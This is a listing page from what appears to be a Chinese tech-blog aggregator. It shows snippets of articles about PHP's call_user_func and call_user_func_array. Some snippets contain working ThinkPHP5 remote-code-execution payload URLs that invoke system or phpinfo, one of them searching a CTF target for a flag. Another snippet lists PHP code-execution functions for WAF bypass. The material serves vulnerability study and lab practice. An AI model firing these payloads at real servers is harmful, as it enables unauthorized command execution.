config.php文件里面定义框架目录常量 解析URL中的model,control,action 根据URL解析后的control，new出control, new $control(); new ReflectionMethod检测action权限 call_user_func_array执行 ...
分类：
Web程序 时间：
2021-02-03 11:01:10
阅读次数：
0
命令执行&&代码执行 wafpass总结 代码执行 php常见命令执行函数 php代码 eval() assert() preg_replace call_user_func() call_user_func_array() create_function array_map() 系统命令代码 sy ...
分类：
Web程序 时间：
2021-01-06 11:40:50
阅读次数：
0
代码执行 代码执行是指应用程序本身过滤不严，当应用在调用一些字符串函数的时候用户可以通过请求将代码注入到应用中执行。 存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中，很难通过黑盒测试查找。 挖掘思路 1：用户 ...
分类：
Web程序 时间：
2020-06-14 18:41:50
阅读次数：
92
1.thinkphp5 rce漏洞，构造payload， ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("ls");%27 ...
分类：
Web程序 时间：
2020-03-12 14:18:31
阅读次数：
97
查找flag：http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%2 ...
分类：
Web程序 时间：
2020-01-28 09:25:46
阅读次数：
147
<?php function test($a,$b) { echo "love"." ".$a." ".$b."<br>"; } call_user_func('test','star','shine'); //用call_user_func调用函数 call_user_func_array('te ...
分类：
其他好文 时间：
2020-01-12 15:03:36
阅读次数：
60
靶场首页 构造POC POC1 该poc会执行phpinfo() http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1 ...
分类：
Web程序 时间：
2019-12-25 13:14:20
阅读次数：
259
call_user_func()是利用回调函数处理字符串，call_user_func_array是利用回调函数处理数组。 总结： call_user_func 和 call_user_func_array不同在于传参方式，前者是字符串形式，后者是数组形式。 二者皆可调用自定义函数、匿名函数、系统函 ...
分类：
Web程序 时间：
2019-04-09 16:31:03
阅读次数：
663
简单理解call_user_func和call_user_func_array两个函数 描述 call_user_func()：调用一个回调函数处理字符串, 可以用匿名函数，可以用有名函数，可以传递类的方法， 用有名函数时，只需传函数的名称 用类的方法时，要传类的名称和方法名 传递的第一个参数必须为 ...
分类：
其他好文 时间：
2019-02-27 14:35:24
阅读次数：
173
'; } public function __call($name,$arg) { if($name =='othertest') { call_user_func_array([$this,'test'],$arg); } } public function __invoke() //对象本身不能... ...
分类：
其他好文 时间：
2019-02-12 13:02:16
阅读次数：
142
